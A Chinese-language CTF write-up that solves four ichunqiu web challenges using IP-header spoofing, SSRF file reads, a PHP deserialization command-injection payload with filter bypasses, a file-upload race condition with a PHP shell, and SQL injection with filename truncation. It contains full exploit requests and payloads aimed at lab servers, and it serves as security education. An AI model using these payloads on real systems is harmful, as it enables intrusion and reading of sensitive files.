web1

用X-Client-Ip过掉IP限制,参数url似乎有个SSRF,请求的内容会保存到返回的图片中。

但是限制了url必须有//www.ichunqiu.com,利用file://ww.ichunqiu.com/etc/passwd可以读取到本地文件。

image-20181104105027172

image-20181104105054326

其他一些绕IP限制的HTTP头还有:

  • X-Originating-IP
  • X-Forwarded-For
  • X-Remote-IP
  • X-Remote-Addr
  • X-Client-Ip

web2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
<?php
error_reporting(0);

class come
{
private $method;
private $args;

function __construct($method, $args)
{
$this->method = $method;
$this->args = $args;
}

function __wakeup()
{
foreach ($this->args as $k => $v) {
$this->args[$k] = $this->waf(trim($v));
}
}

function waf($str)
{
$str = preg_replace("/[<>*;|?\n ]/", "", $str);
$str = str_replace('flag', '', $str);
return $str;
}

function echo($host)
{
system("echo $host");
}

function __destruct()
{
if (in_array($this->method, array("echo"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
}

}

$first = 'hi';
$var = 'var';
$bbb = 'bbb';
$ccc = 'ccc';
$i = 1;
foreach ($_GET as $key => $value) {
if ($i === 1) {
$i++;
$$key = $value;
} else {
break;
}
}


if ($first === "doller") {
@parse_str($_GET['a']);
if ($var === "give") {
if ($bbb === "me") {
if ($ccc === "flag") {
echo "<br>welcome!<br>";
$come = @$_POST['come'];
unserialize($come);
}
} else {
echo "<br>think about it<br>";
}
} else {
echo "NO";
}


} else {
echo "Can you hack me?<br>";
}
?>

利用双$parse_str()两处变量覆盖,可以绕过这几个if判断,进入到反序列化流程。

反序列化里是一个简单的pop链,调用echo函数执行命令:

&拼接命令,用${IFS}绕过空格,用fl""ag或者fflaglag绕过”flag”字符串过滤。

payload:

1
2
3
$test = new come('echo', ['host' => '123&cat${IFS}/fl""ag']);
$se = serialize($test);
echo urlencode($se);
1
2
3
4
5
6
7
8
9
10
11
12
13
POST /?first=doller&a=var=give%26bbb=me%26ccc=flag HTTP/1.1
Host: 52cf05474980444391d982573116b2f4b163dc49680848f7.game.ichunqiu.com
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7,zh-HK;q=0.6,ja;q=0.5
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 213

come=O%3A4%3A%22come%22%3A2%3A%7Bs%3A12%3A%22%00come%00method%22%3Bs%3A4%3A%22echo%22%3Bs%3A10%3A%22%00come%00args%22%3Ba%3A1%3A%7Bs%3A4%3A%22host%22%3Bs%3A20%3A%22123%26cat%24%7BIFS%7D%2Ffl%22%22ag%22%3B%7D%7D123

image-20181104114514970

web3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
error_reporting(0);
//$dir=md5("icq" . $_SERVER['REMOTE_ADDR']);
$dir=md5("icq");
$sandbox = '/var/sandbox/' . $dir;
@mkdir($sandbox);
@chdir($sandbox);


if ($_FILES['file']['name']) {
$filename = !empty($_POST['file']) ? $_POST['file'] : $_FILES['file']['name'];
if (!is_array($filename)) {
$filename = explode('.', $filename);
}
$ext = end($filename);
if ($ext == $filename[count($filename) - 1]) {
die("emmmm...");
}
$new_name = (string)rand(100, 999) . "." . $ext;
move_uploaded_file($_FILES['file']['tmp_name'], $new_name);
$_ = $_POST['hehe'];
if (@substr(file($_)[0], 0, 6) === '@<?php' && strpos($_, $new_name) === false) {
include($_);
}
unlink($new_name);
}
else{
highlight_file(__FILE__);
}

代码的流程是上传一个文件,文件名可控,然后把文件名按.拆成一个数组,用两种方式来取文件后缀。

一是用end()函数,这种方法没问题,取出的一定是文件后缀;

二是用$filename[count($filename) - 1],这样是按下标来取,只要count($filename) - 1不是最后一个元素的下标就能绕过。例如file[3]=666.php

接下来的逻辑就是包含$_,但$_不能是刚才上传的这个文件。

最后删除上传的文件。

注意到从上传=>包含=>删除这个过程是存在时间差的,并且文件名只有3位是随机数字。所以,暴力一点的解法就是直接开几个burp,随便指定几个文件名,互相撞。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
POST /index.php HTTP/1.1
Host: 7db403947fb245b697c840674fc1f01bb0c90ffc983d4d39.game.ichunqiu.com
Content-Length: 428
Cache-Control: max-age=0
Origin: http://localhost:8888
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryN6z6HX5G8UBBX4xq
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://localhost:8888/up.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7,zh-HK;q=0.6,ja;q=0.5
Connection: close

------WebKitFormBoundaryN6z6HX5G8UBBX4xq
Content-Disposition: form-data; name="file[3]"

666.php
------WebKitFormBoundaryN6z6HX5G8UBBX4xq
Content-Disposition: form-data; name="hehe"

750.666.php
------WebKitFormBoundaryN6z6HX5G8UBBX4xq
Content-Disposition: form-data; name="file"; filename="test.png"
Content-Type: image/png

@<?php echo system('cat /flag');phpinfo();?>
------WebKitFormBoundaryN6z6HX5G8UBBX4xq--

我开了3个窗口,大概5分钟就撞到了。

image-20181104151221880

预期解应该是上传一个shell.php/.文件,导致unlink无法删除,然后爆破随机数包含。

web4

参数id存在注入,sqlmap跑一下拿到admin的密码,登陆后是一个上传表单。XFF头里加上10.10.0.1

文件路径是用uploaddir拼接上filename截取/之后的字符,最后再拼上.txt

利用upload=./flag.phfilename=123/p可以拼出一个./flag.php.txt,但是题目要求上传成flag.php,也就是截断掉后面的txt就行了。

fuzz一下00~ff内的字符可以找到0x02可以绕过,

image-20181104162022352

image-20181104162038879